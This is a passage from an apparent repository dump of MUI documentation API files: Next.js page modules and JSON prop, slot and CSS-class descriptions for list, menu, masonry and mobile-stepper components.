    "content": "{\n  \"props\": {\n    \"children\": { \"type\": { \"name\": \"node\" } },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"disableTypography\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"inset\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"primary\": { \"type\": { \"name\": \"node\" } },\n    \"secondary\": { \"type\": { \"name\": \"node\" } },\n    \"slotProps\": {\n      \"type\": {\n        \"name\": \"shape\",\n        \"description\": \"{ primary?: func<br>&#124;&nbsp;object, root?: func<br>&#124;&nbsp;object, secondary?: func<br>&#124;&nbsp;object }\"\n      },\n      \"default\": \"{}\"\n    },\n    \"slots\": {\n      \"type\": {\n        \"name\": \"shape\",\n        \"description\": \"{ primary?: elementType, root?: elementType, secondary?: elementType }\"\n      },\n      \"default\": \"{}\"\n    },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    }\n  },\n  \"name\": \"ListItemText\",\n  \"imports\": [\n    \"import ListItemText from '@mui/material/ListItemText';\",\n    \"import { ListItemText } from '@mui/material';\"\n  ],\n  \"slots\": [\n    {\n      \"name\": \"root\",\n      \"description\": \"The component that renders the root slot.\",\n      \"default\": \"'div'\",\n      \"class\": \"MuiListItemText-root\"\n    },\n    {\n      \"name\": \"primary\",\n      \"description\": \"The component that renders the primary slot.\",\n      \"default\": \"Typography\",\n      \"class\": \"MuiListItemText-primary\"\n    },\n    {\n      \"name\": \"secondary\",\n      \"description\": \"The component that renders the secondary slot.\",\n      \"default\": \"Typography\",\n      \"class\": \"MuiListItemText-secondary\"\n    }\n  ],\n  \"classes\": [\n    {\n      \"key\": \"dense\",\n      \"className\": \"MuiListItemText-dense\",\n      \"description\": \"Styles applied to the Typography component if dense.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"inset\",\n      \"className\": \"MuiListItemText-inset\",\n      \"description\": \"Styles applied to the root element if `inset={true}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"multiline\",\n      \"className\": \"MuiListItemText-multiline\",\n      \"description\": \"Styles applied to the Typography component if primary and secondary are set.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiListItemText\",\n  \"forwardsRefTo\": \"HTMLDivElement\",\n  \"filename\": \"/packages/mui-material/src/ListItemText/ListItemText.js\",\n  \"inheritance\": null,\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-list/\\\">Lists</a></li>\\n<li><a href=\\\"/material-ui/react-menubar/\\\">Menubar</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/list-item.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './list-item.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context(\n    'docs/translations/api-docs/list-item',\n    false,\n    /\\.\\/list-item.*\\.json$/,\n  );\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/list-item.json",
    "content": "{\n  \"props\": {\n    \"alignItems\": {\n      \"type\": { \"name\": \"enum\", \"description\": \"'center'<br>&#124;&nbsp;'flex-start'\" },\n      \"default\": \"'center'\"\n    },\n    \"children\": { \"type\": { \"name\": \"node\" } },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"component\": { \"type\": { \"name\": \"elementType\" } },\n    \"dense\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"disableGutters\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"disablePadding\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"divider\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"secondaryAction\": { \"type\": { \"name\": \"node\" } },\n    \"slotProps\": {\n      \"type\": {\n        \"name\": \"shape\",\n        \"description\": \"{ root?: object, secondaryAction?: func<br>&#124;&nbsp;object }\"\n      },\n      \"default\": \"{}\"\n    },\n    \"slots\": {\n      \"type\": {\n        \"name\": \"shape\",\n        \"description\": \"{ root?: elementType, secondaryAction?: elementType }\"\n      },\n      \"default\": \"{}\"\n    },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    }\n  },\n  \"name\": \"ListItem\",\n  \"imports\": [\n    \"import ListItem from '@mui/material/ListItem';\",\n    \"import { ListItem } from '@mui/material';\"\n  ],\n  \"classes\": [\n    {\n      \"key\": \"alignItemsFlexStart\",\n      \"className\": \"MuiListItem-alignItemsFlexStart\",\n      \"description\": \"Styles applied to the component element if `alignItems=\\\"flex-start\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"dense\",\n      \"className\": \"MuiListItem-dense\",\n      \"description\": \"Styles applied to the component element if dense.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"divider\",\n      \"className\": \"MuiListItem-divider\",\n      \"description\": \"Styles applied to the inner `component` element if `divider={true}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"gutters\",\n      \"className\": \"MuiListItem-gutters\",\n      \"description\": \"Styles applied to the inner `component` element unless `disableGutters={true}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"padding\",\n      \"className\": \"MuiListItem-padding\",\n      \"description\": \"Styles applied to the root element unless `disablePadding={true}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"root\",\n      \"className\": \"MuiListItem-root\",\n      \"description\": \"Styles applied to the root element.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"secondaryAction\",\n      \"className\": \"MuiListItem-secondaryAction\",\n      \"description\": \"Styles applied to the secondary action element.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiListItem\",\n  \"forwardsRefTo\": \"HTMLLIElement\",\n  \"filename\": \"/packages/mui-material/src/ListItem/ListItem.js\",\n  \"inheritance\": null,\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-list/\\\">Lists</a></li>\\n<li><a href=\\\"/material-ui/react-transfer-list/\\\">Transfer List</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/list-subheader.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './list-subheader.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context(\n    'docs/translations/api-docs/list-subheader',\n    false,\n    /\\.\\/list-subheader.*\\.json$/,\n  );\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/list-subheader.json",
    "content": "{\n  \"props\": {\n    \"children\": { \"type\": { \"name\": \"node\" } },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"color\": {\n      \"type\": {\n        \"name\": \"enum\",\n        \"description\": \"'default'<br>&#124;&nbsp;'inherit'<br>&#124;&nbsp;'primary'\"\n      },\n      \"default\": \"'default'\"\n    },\n    \"component\": { \"type\": { \"name\": \"elementType\" } },\n    \"disableGutters\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"disableSticky\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"inset\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    }\n  },\n  \"name\": \"ListSubheader\",\n  \"imports\": [\n    \"import ListSubheader from '@mui/material/ListSubheader';\",\n    \"import { ListSubheader } from '@mui/material';\"\n  ],\n  \"classes\": [\n    {\n      \"key\": \"colorInherit\",\n      \"className\": \"MuiListSubheader-colorInherit\",\n      \"description\": \"Styles applied to the root element if `color=\\\"inherit\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"colorPrimary\",\n      \"className\": \"MuiListSubheader-colorPrimary\",\n      \"description\": \"Styles applied to the root element if `color=\\\"primary\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"gutters\",\n      \"className\": \"MuiListSubheader-gutters\",\n      \"description\": \"Styles applied to the inner `component` element unless `disableGutters={true}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"inset\",\n      \"className\": \"MuiListSubheader-inset\",\n      \"description\": \"Styles applied to the root element if `inset={true}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"root\",\n      \"className\": \"MuiListSubheader-root\",\n      \"description\": \"Styles applied to the root element.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"sticky\",\n      \"className\": \"MuiListSubheader-sticky\",\n      \"description\": \"Styles applied to the root element unless `disableSticky={true}`.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiListSubheader\",\n  \"forwardsRefTo\": \"HTMLLIElement\",\n  \"filename\": \"/packages/mui-material/src/ListSubheader/ListSubheader.js\",\n  \"inheritance\": null,\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-list/\\\">Lists</a></li>\\n<li><a href=\\\"/material-ui/react-menubar/\\\">Menubar</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/list.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './list.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context('docs/translations/api-docs/list', false, /\\.\\/list.*\\.json$/);\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/list.json",
    "content": "{\n  \"props\": {\n    \"children\": { \"type\": { \"name\": \"node\" } },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"component\": { \"type\": { \"name\": \"elementType\" } },\n    \"dense\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"disablePadding\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"subheader\": { \"type\": { \"name\": \"node\" } },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    }\n  },\n  \"name\": \"List\",\n  \"imports\": [\"import List from '@mui/material/List';\", \"import { List } from '@mui/material';\"],\n  \"classes\": [\n    {\n      \"key\": \"dense\",\n      \"className\": \"MuiList-dense\",\n      \"description\": \"Styles applied to the root element if dense.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"padding\",\n      \"className\": \"MuiList-padding\",\n      \"description\": \"Styles applied to the root element unless `disablePadding={true}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"root\",\n      \"className\": \"MuiList-root\",\n      \"description\": \"Styles applied to the root element.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"subheader\",\n      \"className\": \"MuiList-subheader\",\n      \"description\": \"Styles applied to the root element if a `subheader` is provided.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiList\",\n  \"forwardsRefTo\": \"HTMLUListElement\",\n  \"filename\": \"/packages/mui-material/src/List/List.js\",\n  \"inheritance\": null,\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-list/\\\">Lists</a></li>\\n<li><a href=\\\"/material-ui/react-menubar/\\\">Menubar</a></li>\\n<li><a href=\\\"/material-ui/react-transfer-list/\\\">Transfer List</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/masonry.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './masonry.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context('docs/translations/api-docs/masonry', false, /\\.\\/masonry.*\\.json$/);\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/masonry.json",
    "content": "{\n  \"props\": {\n    \"children\": { \"type\": { \"name\": \"node\" }, \"required\": true },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"columns\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;number<br>&#124;&nbsp;string&gt;<br>&#124;&nbsp;number<br>&#124;&nbsp;object<br>&#124;&nbsp;string\"\n      },\n      \"default\": \"4\"\n    },\n    \"component\": { \"type\": { \"name\": \"elementType\" } },\n    \"defaultColumns\": { \"type\": { \"name\": \"number\" } },\n    \"defaultHeight\": { \"type\": { \"name\": \"number\" } },\n    \"defaultSpacing\": { \"type\": { \"name\": \"number\" } },\n    \"sequential\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"spacing\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;number<br>&#124;&nbsp;string&gt;<br>&#124;&nbsp;number<br>&#124;&nbsp;object<br>&#124;&nbsp;string\"\n      },\n      \"default\": \"1\"\n    },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    }\n  },\n  \"name\": \"Masonry\",\n  \"imports\": [\"import Masonry from '@mui/lab/Masonry';\", \"import { Masonry } from '@mui/lab';\"],\n  \"classes\": [\n    {\n      \"key\": \"root\",\n      \"className\": \"MuiMasonry-root\",\n      \"description\": \"Styles applied to the root element.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiMasonry\",\n  \"forwardsRefTo\": \"HTMLDivElement\",\n  \"filename\": \"/packages/mui-lab/src/Masonry/Masonry.js\",\n  \"inheritance\": null,\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-masonry/\\\">Masonry</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/menu-item.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './menu-item.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context(\n    'docs/translations/api-docs/menu-item',\n    false,\n    /\\.\\/menu-item.*\\.json$/,\n  );\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/menu-item.json",
    "content": "{\n  \"props\": {\n    \"autoFocus\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"children\": { \"type\": { \"name\": \"node\" } },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"component\": { \"type\": { \"name\": \"elementType\" } },\n    \"dense\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"disableGutters\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"divider\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"focusVisibleClassName\": { \"type\": { \"name\": \"string\" } },\n    \"selected\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    }\n  },\n  \"name\": \"MenuItem\",\n  \"imports\": [\n    \"import MenuItem from '@mui/material/MenuItem';\",\n    \"import { MenuItem } from '@mui/material';\"\n  ],\n  \"classes\": [\n    {\n      \"key\": \"dense\",\n      \"className\": \"MuiMenuItem-dense\",\n      \"description\": \"Styles applied to the root element if dense.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"disabled\",\n      \"className\": \"Mui-disabled\",\n      \"description\": \"State class applied to the root element if `disabled={true}`.\",\n      \"isGlobal\": true\n    },\n    {\n      \"key\": \"divider\",\n      \"className\": \"MuiMenuItem-divider\",\n      \"description\": \"Styles applied to the root element if `divider={true}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"focusVisible\",\n      \"className\": \"Mui-focusVisible\",\n      \"description\": \"State class applied to the root element if keyboard focused.\",\n      \"isGlobal\": true\n    },\n    {\n      \"key\": \"gutters\",\n      \"className\": \"MuiMenuItem-gutters\",\n      \"description\": \"Styles applied to the inner `component` element unless `disableGutters={true}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"root\",\n      \"className\": \"MuiMenuItem-root\",\n      \"description\": \"Styles applied to the root element.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"selected\",\n      \"className\": \"Mui-selected\",\n      \"description\": \"State class applied to the root element if `selected={true}`.\",\n      \"isGlobal\": true\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiMenuItem\",\n  \"forwardsRefTo\": \"HTMLLIElement\",\n  \"filename\": \"/packages/mui-material/src/MenuItem/MenuItem.js\",\n  \"inheritance\": { \"component\": \"ButtonBase\", \"pathname\": \"/material-ui/api/button-base/\" },\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-menu/\\\">Menu</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/menu-list.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './menu-list.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context(\n    'docs/translations/api-docs/menu-list',\n    false,\n    /\\.\\/menu-list.*\\.json$/,\n  );\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/menu-list.json",
    "content": "{\n  \"props\": {\n    \"autoFocus\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"autoFocusItem\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"children\": { \"type\": { \"name\": \"node\" } },\n    \"disabledItemsFocusable\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"disableListWrap\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"variant\": {\n      \"type\": { \"name\": \"enum\", \"description\": \"'menu'<br>&#124;&nbsp;'selectedMenu'\" },\n      \"default\": \"'selectedMenu'\"\n    }\n  },\n  \"name\": \"MenuList\",\n  \"imports\": [\n    \"import MenuList from '@mui/material/MenuList';\",\n    \"import { MenuList } from '@mui/material';\"\n  ],\n  \"classes\": [\n    {\n      \"key\": \"dense\",\n      \"className\": \"MuiMenuList-dense\",\n      \"description\": \"Styles applied to the root element if dense.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"padding\",\n      \"className\": \"MuiMenuList-padding\",\n      \"description\": \"Styles applied to the root element unless `disablePadding={true}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"root\",\n      \"className\": \"MuiMenuList-root\",\n      \"description\": \"Styles applied to the root element.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"subheader\",\n      \"className\": \"MuiMenuList-subheader\",\n      \"description\": \"Styles applied to the root element if a `subheader` is provided.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": false,\n  \"muiName\": \"MuiMenuList\",\n  \"forwardsRefTo\": \"HTMLUListElement\",\n  \"filename\": \"/packages/mui-material/src/MenuList/MenuList.js\",\n  \"inheritance\": { \"component\": \"List\", \"pathname\": \"/material-ui/api/list/\" },\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-menu/\\\">Menu</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/menu.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './menu.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context('docs/translations/api-docs/menu', false, /\\.\\/menu.*\\.json$/);\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/menu.json",
    "content": "{\n  \"props\": {\n    \"open\": { \"type\": { \"name\": \"bool\" }, \"required\": true },\n    \"anchorEl\": { \"type\": { \"name\": \"union\", \"description\": \"HTML element<br>&#124;&nbsp;func\" } },\n    \"autoFocus\": { \"type\": { \"name\": \"bool\" }, \"default\": \"true\" },\n    \"children\": { \"type\": { \"name\": \"node\" } },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"disableAutoFocusItem\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"onClose\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": {\n        \"type\": \"function(event: object, reason: string) => void\",\n        \"describedArgs\": [\"event\", \"reason\"]\n      }\n    },\n    \"PopoverClasses\": { \"type\": { \"name\": \"object\" } },\n    \"slotProps\": {\n      \"type\": {\n        \"name\": \"shape\",\n        \"description\": \"{ backdrop?: func<br>&#124;&nbsp;object, list?: func<br>&#124;&nbsp;object, paper?: func<br>&#124;&nbsp;object, root?: func<br>&#124;&nbsp;object, transition?: func<br>&#124;&nbsp;object }\"\n      },\n      \"default\": \"{}\"\n    },\n    \"slots\": {\n      \"type\": {\n        \"name\": \"shape\",\n        \"description\": \"{ backdrop?: elementType, list?: elementType, paper?: elementType, root?: elementType, transition?: elementType }\"\n      },\n      \"default\": \"{}\"\n    },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    },\n    \"transitionDuration\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"'auto'<br>&#124;&nbsp;number<br>&#124;&nbsp;{ appear?: number, enter?: number, exit?: number }\"\n      },\n      \"default\": \"'auto'\"\n    },\n    \"variant\": {\n      \"type\": { \"name\": \"enum\", \"description\": \"'menu'<br>&#124;&nbsp;'selectedMenu'\" },\n      \"default\": \"'selectedMenu'\"\n    }\n  },\n  \"name\": \"Menu\",\n  \"imports\": [\"import Menu from '@mui/material/Menu';\", \"import { Menu } from '@mui/material';\"],\n  \"slots\": [\n    {\n      \"name\": \"root\",\n      \"description\": \"The component used for the popper.\",\n      \"default\": \"Modal\",\n      \"class\": \"MuiMenu-root\"\n    },\n    {\n      \"name\": \"paper\",\n      \"description\": \"The component used for the paper.\",\n      \"default\": \"PopoverPaper\",\n      \"class\": \"MuiMenu-paper\"\n    },\n    {\n      \"name\": \"list\",\n      \"description\": \"The component used for the list.\",\n      \"default\": \"MenuList\",\n      \"class\": \"MuiMenu-list\"\n    },\n    {\n      \"name\": \"transition\",\n      \"description\": \"The component used for the transition slot.\",\n      \"default\": \"Grow\",\n      \"class\": null\n    },\n    {\n      \"name\": \"backdrop\",\n      \"description\": \"The component used for the backdrop slot.\",\n      \"default\": \"Backdrop\",\n      \"class\": null\n    }\n  ],\n  \"classes\": [],\n  \"spread\": true,\n  \"themeDefaultProps\": false,\n  \"muiName\": \"MuiMenu\",\n  \"forwardsRefTo\": \"HTMLDivElement\",\n  \"filename\": \"/packages/mui-material/src/Menu/Menu.js\",\n  \"inheritance\": { \"component\": \"Popover\", \"pathname\": \"/material-ui/api/popover/\" },\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-app-bar/\\\">App Bar</a></li>\\n<li><a href=\\\"/material-ui/react-menu/\\\">Menu</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/mobile-stepper.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './mobile-stepper.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context(\n    'docs/translations/api-docs/mobile-stepper',\n    false,\n    /\\.\\/mobile-stepper.*\\.json$/,\n  );\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/mobile-stepper.json",
    "content": "{\n  \"props\": {\n    \"steps\": { \"type\": { \"name\": \"custom\", \"description\": \"integer\" }, \"required\": true },\n    \"activeStep\": { \"type\": { \"name\": \"custom\", \"description\": \"integer\" }, \"default\": \"0\" },\n    \"backButton\": { \"type\": { \"name\": \"node\" } },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"nextButton\": { \"type\": { \"name\": \"node\" } },\n    \"position\": {\n      \"type\": {\n        \"name\": \"enum\",\n        \"description\": \"'bottom'<br>&#124;&nbsp;'static'<br>&#124;&nbsp;'top'\"\n      },\n      \"default\": \"'bottom'\"\n    },\n    \"slotProps\": {\n      \"type\": {\n        \"name\": \"shape\",\n        \"description\": \"{ dot?: func<br>&#124;&nbsp;object, dots?: func<br>&#124;&nbsp;object, progress?: func<br>&#124;&nbsp;object, root?: func<br>&#124;&nbsp;object }\"\n      },\n      \"default\": \"{}\"\n    },\n    \"slots\": {\n      \"type\": {\n        \"name\": \"shape\",\n        \"description\": \"{ dot?: elementType, dots?: elementType, progress?: elementType, root?: elementType }\"\n      },\n      \"default\": \"{}\"\n    },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    },\n    \"variant\": {\n      \"type\": {\n        \"name\": \"enum\",\n        \"description\": \"'dots'<br>&#124;&nbsp;'progress'<br>&#124;&nbsp;'text'\"\n      },\n      \"default\": \"'dots'\"\n    }\n  },\n  \"name\": \"MobileStepper\",\n  \"imports\": [\n    \"import MobileStepper from '@mui/material/MobileStepper';\",\n    \"import { MobileStepper } from '@mui/material';\"\n  ],\n  \"slots\": [\n    {\n      \"name\": \"root\",\n      \"description\": \"The component that renders the root slot.\",\n      \"default\": \"Paper\",\n      \"class\": \"MuiMobileStepper-root\"\n    },\n    {\n      \"name\": \"progress\",\n      \"description\": \"The component that renders the progress slot.\",\n      \"default\": \"LinearProgress\",\n      \"class\": \"MuiMobileStepper-progress\"\n    },\n    {\n      \"name\": \"dots\",\n      \"description\": \"The component that renders the dots slot.\",\n      \"default\": \"'div'\",\n      \"class\": \"MuiMobileStepper-dots\"\n    },\n    {\n      \"name\": \"dot\",\n      \"description\": \"The component that renders the dot slot.\",\n      \"default\": \"'div'\",\n      \"class\": \"MuiMobileStepper-dot\"\n    }\n  ],\n  \"classes\": [\n    {\n      \"key\": \"dotActive\",\n      \"className\": \"MuiMobileStepper-dotActive\",\n      \"description\": \"Styles applied to a dot if `variant=\\\"dots\\\"` and this is the active step.\",\n      \"isGlobal\": false\n    },\n    {\n      